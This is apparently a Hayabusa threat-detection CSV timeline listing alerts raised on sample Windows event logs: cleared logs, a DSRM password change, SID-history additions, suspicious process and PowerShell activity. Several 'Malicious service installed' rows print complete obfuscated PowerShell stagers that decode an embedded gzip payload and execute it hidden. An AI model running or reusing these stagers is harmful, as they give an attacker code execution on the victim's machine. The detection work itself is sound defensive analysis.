NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 05:36:09.147 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: zIGuwymOgHZnXZPm : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADhM4FcCA7VWbW/aSBD+nEr9D1aFhK0QbAhtmkiVbm1ew0sABwhQVG3stVlYex17zVuv//3GgBt6Te7ak85KxK5nZvfZZ57ZsRP7lqDcl4K7JpK+vn1z1sUh9iQ54w7q7PbLIidl1p62iJWzMzBm5pVF8XZXiQfSJ0meoiAocw9Tf3ZzY8RhSHxxmOdrRKAoIt4joySSFelPaTQnIbm4e1wQS0hfpcyXfI3xR8yOblsDW3MiXSDfTmwtbuEEV94MGBVy9vPnrDK9KMzylacYs0jOmttIEC9vM5ZVpG9KsuH9NiBytk2tkEfcEfkR9S+L+YEfYYd0YLUVaRMx53aUVeAo8BcSEYe+9HyoZJWDj5yFYTfkFrLtkEQQkm/4K74kcsaPGctJf8jTI4R+7AvqEbALEvLAJOGKWiTK17FvM9InzkzukHV68l8Nkk+DwKsrQiUHaXkNa5vbMSOH8KzyM9o0nwo833MKPHx7++btGydVAQ4871QFMDqb7scEcMpdHtG93ydJy0lt2AwLHm5hmrkPY6LMpGmShOlsJmWCUjv3engh9QVPYneDDbybDjm1ZxBzTE/maT4ePyyjxPS60srEoT4pb33sUSsVk/wS5cRhZH/MfOrWAWBy9mggdpkw4mKR8JeTpj+HVTwqvsfqMWU2CZEFaYsAFWRU+RHMISVytuG3iQc0HeZZYN8BCZPU+yjbbbp7MgenrMFwFOWkbgw1ZOUkk2BG7JyE/IgeTSgWfD/MPsNtx0xQC0ciXW6mnFB53NLgfiTC2ILkwfHvzYBYFLOEjZxUpzbRtyZ1062zL3JhYMao78JKK8gFvEk4MEUiiRBQJulX8iYRDS9gxAOXfTlXGXaheI/q30sIu8TOvoAx1fZByAkhKRMnCCHLJuMiJw1pKOBiSMjdy+k/ITi5ElIsRkiOKZHTYpnqW5FIPLPQ2h+HYb9hrC4TiR452jMSCmCjGnJPxxH5UDJFCFzJ79Q7aiB4xg2ftS19SQtoTQuNNvwP6GWDl6/s5u2iroblzdxBjajRrnfLvXq9tLo1hyVhVhqi2W2IduVhsTBRvT8Yi0kD1e+pthyXdsEt3ZktZI836oedvltr+ma3cG1nXHYc98ox+4X3VdoaGT1dK+JWuRK3Rvpa10pRha7rPTroLW+r4nE8ZHjgqO5D4RrTTStcDAu8vWsgVJtfWrtbZ1ibt+3tuK5ej0pLVEHI8CvDqs6bYz1EXXWI3SFfNxc1NnINpI/OKZn0BlW916vqaFBbPJWvVRdiH/BcHw2LdBI89OcwrwKEpqqVGjbZ8XEPSKpxhN0++LhG0Zo74FM+R/p5h0dFvNQ50sGnOnkCXOOg2mVgvx8UORqyzgNGrcm2qqqFcbeE6hod1VyULIldvYdRtCrvymphaHN79L4zdtThA7tSy8Z9YDmqqq7r5aY1KWw+3l2VdO3J8KjHHou2ej34qPvrpttduXZvdNXfdLaPsN9AVYfvEvWAfDIu89Zm9f7uy3ZyIonXLvs2DqM5ZiAVuMDTeq3ysHq8jrucJhGyvG/OSxL6hEFHg56X6h0xxq2kL+wvbuhJh04xg5IdwPCy+OJIkb47Ks+tIn11czMBlFBAJ/rOt4jvinlO21xqGlz92qakwZl//YAGD7by6Yq5pIOc8vW3Ddl+QyUpuExgfcBGfL34fyk9lvocfux/o/T53T9Yf4lmLfcDCT9Zf3zxW5z/NgMjTAV4mnBXMXJoni8TcZTRyWdGmiJQiHN8ko++u1hcdOAL5C8TptLHZwoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:38:04.034 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: DrzkXznQhkKgYssd : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAKtM4FcCA71WbW/aSBD+3Er9D1aFhK0SDIQmTaRKt8YYCC8BHMxb0Wljr+2FxUvsdXjp9b/fGHBCrs0p1w9nJWLXM7P77DPP7NiNA1tQHkjr7Xy3qDfHSPr+4f27Lg7xUpIzD3VrxLSclFkX726swVp59w6sGda0R60/g60ufZXkKVqtdL7ENJhdX1fiMCSBOMzzNSJQFJHlPaMkkhXpL2nok5Cc3d7PiS2k71Lmz3yN8XvMjm7bCrZ9Ip2hwElsLW7jBF3eXDEq5Oy3b1llelac5asPMWaRnDW3kSDLvMNYVpF+KMmGd9sVkbNtaoc84q7ID2lwXsoPggi7pAOrPZI2ET53oqwCR4G/kIg4DKTnQyWrHHzkLAy7IbeR44QkgpB8I3jkCyJngpixnPSHPD1C6MeBoEsCdkFCvjJJ+EhtEuXrOHAY6RN3JnfIOj35W4Pk0yDw6opQyUFeXsPa5k7MyCE8q/yM9phQBZ6TpAIRPz68//DeTcUQ+3HR76L+qRZg9G66HxMAK3d5RPe+X6VCTmrDjljwcAvTzF0YE2UmTZNMTGczKYMnZu718GLqC56udlmDV1OLU2cGIccUZSK/tlt8CTbuTTUxv644nbg0IPo2wEtqp6KSf0U9cRnZnzafunUAm5w9GoijE0Y8LBIec9L057DqkoqnWC2mzCEhsiF9EaCCzCovwRxSI2cbQZssganDPAtpcEHKJPU+yneb7p7MwSlbYTiKclI3hlqyc5JJMCNOTkJBRI8mFAu+H2af4bZjJqiNI5EuN1P+Qedx2woPIhHGNuQQKLgzV8SmmCWM5KQ6dYi2NamXbp/9JR8VzBgNPFjpEfIBbxIeTJEoIwSkiQqUvElEY7liZAku+9I2GPagkI+VsFcS9oiTfQVnqvWDsBNiUkZOUEK2TcZFTrJoKOCi2JMMyvotECc3xCmcSkiO2ZHT8plqW5EIPvNwEbkjY3PbTbR6JGpPSyiAEiPkSw1H5KJsihAIkz+qt7SC4Bk3Ata2tQUtojUtNtrwP6DnDa5fOs2beV0N9Y3vokbUaNe7eq9eLz/emFZZmNWGaHYbol0dzecmqvcHYzFpoPodLSzG5d3qhu7MFnLGG/Vip+3WBW2zm3uOO9Zd17t0zX7xs0Fbw0pPK5RwS6/GraG21grlqErX9R4d9BY3hrgfWwwPXNUbFa8w3bTCuVXk7V0DoZp/bu9uXKvmt53tuK5eDcsLVEWoElQtQ+PNsRairmphz+Lr5rzGhl4FaYZNyaQ3MLRez9DQoDZ/0K9UD2JH2NeGVolOVqO+D3MDIDTVQrnhkB0f94CkGkfY64OPVynZvgs++iekferwqIQXGkca+BiTB8A1XhldBva7QYkji3VGGLUmW0NVi+NuGdULdFjzULIk9rQeRtGjvtPVouVwZ/i5M3ZVuCkvVb1yt7JdVVXXdb1pT4qbL7eXZa3wUFnSJbsvOerV4IsWrJte99FzesPL/qazvYf9BqpqfUz0AwLKiF2r3LjCV1E1PJHEa7d/G4eRjxlIBW70tHANHhrH67nLaRIhy889e0HCgDDoc9AJU9UjxriddIun2xy61aGHzKCABzA8L/1ypEhPjspzE0lfXV9PAC7U0pPM8y0SeMLPFTbnhQJ0g8KmXICjv/2cFb7ays/r5ZKWckrai83YfjMlqbgM3/Xsi0t+rv8PtB4r3ocf5y20Pr/7F+ubqC7kXpDxk/Xli//E/O9RMcRUgLsJtxcjh776OiNHTZ18jTxlDRTjHp/k4/A2Fmcd+FL5G8KtLTuVCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 05:59:41.659 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: TDhDnlnsrKrQVnjY : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIALxR4FcCA7VWf2/aSBD9O5X6HawKCVslGAhpmkiVbo0xEDABHCCGotPGXpuFxUvs5Wev3/3GYDdUTar0pLMSseuZ2X375s2OvVXgCMoDaYltQ/r2/t1ZB4d4IckZl667NmZ2Tsp4wa7aLClnZ2DOrM1OoNXYcqTXpC+SPEbLpc4XmAaTm5vKKgxJII7zfI0IFEVk8cgoiWRF+kcaTklIzu8eZ8QR0jcp83e+xvgjZonbroKdKZHOUeDGthZ3cIwtby0ZFXL269esMj4vTvLVpxVmkZy1dpEgi7zLWFaRvivxhve7JZGzJnVCHnFP5Ic0uCjl+0GEPdKG1dbEJGLK3SirwGHgLyRiFQbS6bHidY5echaGnZA7yHVDEkFQvhGs+ZzImWDFWE76Sx4nIHqrQNAFAbsgIV9aJFxTh0T5Og5cRnrEm8htsknP/tYg+TQIvDoiVHKQnNfRmtxdMXJcIKv8ivdHXhV4nnMLbHx//+79Oy/VQ3TZs4K/69v1qShgdDY+jAkAljs8ogfnL1IhJ5mwJxY83ME0cx+uiDKRxnE+xpOJlGHuZTn3enwxdQbXPbl4uIR34wGn7gRiklRlvO4wWG/KmMbG13WnE48GRN8FeEGdVFryS/QTj5HDcfOpWxugydnEQFydMOJjETOZk8a/hlUXVPyI1VaUuSREDqQwAlSQXeVnMMfkyNlGYJIFMHWcZ+M0gKBJ6p2IeJfuHs/BKVthOIpyUmcFFeXkJItgRtychIKIJia0EvwwzD7DNVdMUAdHIl1uovxEZrJphQeRCFcOZBAIuLeWxKGYxXzkpDp1ibazqJ9unn2RjQpmjAY+rLSGbMCbmAVLxLoIAedBA0reIqKxWDKyAJ9DfRsM+1DNSTEchIR94mZfhJlK/ajrmJWUjhOQkGqLcZGTBjQUcFfEDB9U9d9AnFwTz3AqIUlSI6fFM9Z2IlZ7ZtrdOsOeE8s0YenASSiADyPkCw1H5FPZEiGwJX9Q72gFwWM3AmY62pwW0YYWGyb89+lFg+tXbvN2VldDfTv1UCNqmPWO3q3Xy+tba1AWVrUhmp2GMKsPs5mF6r2+LUYNVL+nhbld3i9v6d5qIdfeqp/22n5T0Lb7me96tu55/pVn9YqXBm0NK12tUMItvbpqDbWNVihHVbqpd2m/O781xKM9YLjvqf5D8RrTbSucDYrc3DcQqk0vnP2tN6hNTXdn19XrYXmOqghVgurA0HjT1kLUUQfYH/BNc1ZjQ7+CNMOhZNTtG1q3a2ioX5s96deqD7EPeKoNByU6Wj70pjA3AEJTLZQbLtlzuwsk1TjCfg98/ErJmXrgo39E2sc2j0p4rnGkgY8xegJc9tLoMLDf90scDVj7AaPWaGeoatHulFG9QIc1H8VLYl/rYhSt9b2uFgcud4eXbdtTBw/sStUr90vHU1V1U9ebzqi4/Xx3VdYKT5UFXbDHkqte9z9rwabpd9a+2x1e9bbt3SPs11fVwYdYOyCezGJ2vTSvTtTw2r1v4jCaYgYqgZs8LVeDh0ZyK3c4jSNk+dCt5yQMCIP2Bg0wVTpijDtxi3i+v6FHHTvHBIq2D8OL0osjRfrhqDw3jvTVzc0IoEL9JNrOt0jgi2musL0oFOD2L2zLBTjv209Y4cudnK6WixtIwtPJHuywhxLXVsaf96In1Pp/WUyKego/7ptYfH73G+ubmC3k0vP/Yvj5xR+x/McMDDEV4GnBzcTIsV3+hohEOSffGUmaQBde8sQffncrcd6GL5B/AQG25GNvCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 06:23:37.125 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: aCshIvAdgRYNApEv : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAFhX4FcCA71WbW/aSBD+nEr9D1aFhK06GAgpTaRKZwMGEkwAB/NWVG3stVlYvMRe89brf78x2Alpm1PuTjoL5N2dmZ3ZZ57ZsRv5NifMF8JS5PbH1o4I39+/O+ugAC0FMbMqtL2NLGR2YRiRzXLtDD3p7AwUMkHppjMozUbl/lr4IogTdbWqsiUi/vT6uhIFAfb5cZ6rY66GIV4+UIJDURL+FAYzHODzu4c5trnwXch8y9Upe0A0UdtVkD3DwrnqO7GsxWwUh5gzV5RwMfv1a1aanBemudpjhGgoZs1dyPEy51CalYQfUuzwfrfCYtYgdsBC5vLcgPgXxVzfD5GL27DbGhuYz5gTZiU4DPwCzKPAF06PFe9z1BKzMOwEzFYdJ8AhGOWa/potsJjxI0pl4Q9xkgTRi3xOlhjkHAdsZeJgTWwc5hrIdyjuYXcqtvEmPftbjcRTI9Dq8ECSIT2vR2swJ6L4uEFW+jXeY2YleH7KLuDx4/279+/clBjOPuw442HxlBcwOpscxhgiFjssJAfdL0JeFgxwijgLdjDN3AcRlqbCJE7IZDoFX/rF2Kk5V/pwKb++TSG1AQu/uPs8tIdG+I2CZGIx4kzBMklcZlbuGfH66wSsYpf4uLrz0ZLYKcfE3+UBuxQfTp1L1doQm5hNBNipYoo9xGNIZWHyq1ltSfiTrRYR6uBAtSGXIUQFaZZeBnPMkpht+gZeAmLHeRZS4gKzcaqdsHmXeo/noJStUBSGstCJoLRsWTAxotiRBdUPSSJSI84Ow+xzuEZEObFRyNPtplKKY+KvwvyQB5ENSYSz35srbBNEYyhkoUEcrO1M4qV+s78FooIoJb4HO60hEbASA2DymBqBI7+ggZQzMW8uVxQvQfVQ6jpFHhR2UhcHSiEPO9mfA00Jf2R3DEmKxUmYkGeTMi4LFgk43BgxvCec+k/BnNwch7AqAU7yI6aFNNF2PKZ+Jrpc9Kxi+T4mawLYAZ6AAzR6wJYaCvGnkskDAE78oNyRigrPqOlTw9YWpKBuSKFpwL9PLpqsWnZub+YNJahuZ67aDJtGo1PtNhql9Y1plbhZa/LbTpMbteF8bqqNXn/Ex021cU/yi1Fpv7ohe7OlOqOt8mmv7Td5bbufe447qrquV3bNXuFSJ61Bpavli6hVrUWtgbbR8qWwRjaNLul3Fzc6fxhZFPVdxRsWrhDZtoK5VWDGvqmq9dmFvb9xrfrMcHajhnI1KC3UmqpW/Jqla+x2pAVqR7GQZ7HN7bxOB15F1XSb4HG3r2vdrq6p/fr8sXqleGA7RDNtYBXJeDXszWCuQwi3Sr7UdPCejboAUp2pyOuBjlcp2jMXdKofVe1jm4VFtNCYqoGOPn6EuEYrvUNBft8vMtWi7SFSW+OdriiFUaekNvJkUPfUeEvkaV2khuvqvqoULIc5g8v2yFWsIS0r1cr9ynYVRdk0qrf2uLD9fFcuafnHypIs6UPRUa76nzV/c+t11p7THZR72/buAfz1FcX6EPMGiJPxN4WCfdcr07vo4oQTrzUDAwXhDFHgClzvaenqLNCTi7rDSGwhis+dfIEDH1NofNAaU/arlDI7bh5P9zo0r2NLmUIl92F4UfztSBKeFKXnjpIuXV+PIVwoppTmuRb2PT6T89uLfB7aQn5bysPR337MClvtxKft5Li1vMDs1Bc9+JLiess8eI+PtUrzf4A0qfYZvJy3QPq89jfSN8Gcl19C8Yv45cI/wv3fYTFAhIO6CXcXxce2+jokCaFOvkuSpAFb3OSJPxTvIn7ehi+WvwCZDrcJpgoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 07:30:41.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 07:30:41.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 09:11:22.985 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:11:52.496 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:14:19.540 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:41.106 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 09:20:56.173 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-09-20 12:38:31.282 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 12:38:31.282 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 21:48:41.553 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 21:48:41.553 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:07:43.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 22:07:44.086 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:07:44.086 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 22:09:46.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 22:09:46.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 23:21:12.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 23:21:12.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-21 01:33:53.404 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-security.evtx +2016-09-21 01:34:04.272 +09:00,IE10Win7,104,high,System log file was cleared,User: IEUser,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-system.evtx +2016-09-21 01:35:46.590 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: UWdKhYTIQWWJxHfx : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAGFl4VcCA71WW4/aOhB+bqX+h6hCIlFZEli6N6nScYAAy2Vhw52iI5M4weDEbOJw6+l/PxMge2m31Z4+nAgU2zPjGX/zjSdO5FuCcl+aF8YW77iE9KRvH96/a+MAe5Kcmq0rV5uutY5mopKRUq6rcU625Yd6V3n3DvRS++uRJ32R5AlarUrcw9Sf3twUoyAgvjjOsxUiUBgSb8YoCWVF+kcazElAzu5mC2IJ6ZuU+jtbYXyG2UltV8TWnEhnyLdjWYNbOI4xa64YFXL669e0MjnLTbPlhwizUE6bu1AQL2szllak70rssLtbETndpFbAQ+6I7ID65/lszw+xQ1qw25o0iZhzO0wrcAr4BUREgS8dzhNvcBTLaRi2A24h2w5ICNrZmr/mSyKn/IixjPSXPDl5v498QT0CckECvjJJsKYWCbNV7NuM3BNnKrfIJjn0W43k50ag1RaBkoG8vBJmk9sRI0fLtPJzoC9yqcDzQz4BiO8f3n947ySU8C6CVWtPLxcbhJ+TAkbvJocxgajlNg/pQf+LpGWkJvjHggc7mKa6QUSUqTSJszGZTqWUPeyagdjVM7/eI5cYgPreEMM1h8VJn1N7CkanbKUs9hB7+A3rSsShPintfOxRKyGW/FoOiMPI4cTZRK0FYcnpk4DYJcKIi0WMakaa/GxW9qh4tNUjymwSIAvyGEJUkGLlZTDHRMnpmt8kHiB1nKchHQ7QmSTaJwrvEu/xHJTSRYbDMCO1I6gnKyOZBDNiZyTkh/QkQpHgh2H6KdxmxAS1cCiS7aZKguPJX5H7oQgiC5IHZ++aK2JRzGIoMlKV2kTfmdRN/KZfBaKIGaO+CzutIRGwEgNgipgSAYT4mH4laxJR81aMeKB3KG6DYRdK+VQQBx5hl9jpH6NMCH9kd4xHAsSzGCHJJuMiI/VpIOCOiLE9cunPg3h2RxzCKQbklBQ5qZyJvhMxz1MMF+dHfp4wOiASCEDDCLin45BcFEwRAFbyR/WOFhE8o5rPmpa+pDm0oblaE/49el7jpUu7fruoqkFpO3dQLaw1q+1Sp1otrG/NfkGY5Zqot2uiWR4uFiaq3vdGYlxD1S7VlqPCfnVL92YD2aOterHX9xtN3+4Xru2MSo7jXjrmfe6zQRuDYkfX8rhRKkeNgb7RtUJYpptqh/Y6y1tDzEZ9hnuO6g5z15huG8Gin+PNfQ2hyvzc2t86/cq8ae9GVfV6UFiiMkJFv9w3dF4f6QFqq33s9vmmvqiwgVtEumFRMu70DL3TMXTUqyweSteqC7ZDPNcH/Twdr4b3c5gbEEJd1Qo1m+z5qAMgVTjC7j3ouMW8NXdAp/QJ6Z9aPMzjpc6RDjrG+AHiGq2MNgN5t5fnqM9aQ4wa452hqrlRu4CqGh1UXBRviV29g1G4Lu1Laq5vc3vwuTVy1P6QXaqlYndlOaqqbqqlujXOba/uLgu69lD0qMdmeVu97l3p/qbutteu3Rlc3m9buxn466lq/2PMGqBNavHZu9IuF8/o8Ktrv4mDcI4Z0ATu86RQDR4Ypyu5zWlsIcvPuvWSBD5h0Nyg/SV8R4xxK+4TL65w6FXHDjKF4u3B8Dz/6kiRHhWVpz6SLN3cjCFmqKMjybMN4rtintG255oG97+2LWhw8LeftMhXO/m0WSbuIAleTy7YwYUSl1hqMdg0L5bV1f+B5qnE5/Cy34rm09pvpG9CWMs8IvGT5OXCf8L7D7EYYCpA34Qri5FjA/09JCcuPfsQSVIHXHFOT/wxeBeJsxZ8o/wLs66tlosKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-powershell-target-system.evtx +2016-09-21 03:27:25.424 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/psattack-security.evtx +2016-09-21 03:45:16.455 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:24.408 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 03:45:48.501 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-system.evtx +2016-09-21 04:15:32.581 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/powersploit-security.evtx +2016-09-21 12:40:37.088 +09:00,IE10Win7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-native-target-security.evtx +2016-09-21 12:40:41.865 +09:00,IE10Win7,104,high,System log file was cleared,User: IEUser,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/metasploit-psexec-native-target-system.evtx +2017-06-10 04:21:26.968 +09:00,2016dc.hqcorp.local,4794,high,Password Change on Directory Service Restore Mode (DSRM) Account,,rules/sigma/builtin/security/win_susp_dsrm_password_change.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/4794_DSRM_password_change_t1098.evtx +2017-06-13 08:39:43.512 +09:00,2012r2srv.maincorp.local,4765,medium,Addition of SID History to Active Directory Object,,rules/sigma/builtin/security/win_susp_add_sid_history.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4765_sidhistory_add_t1178.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Malicious 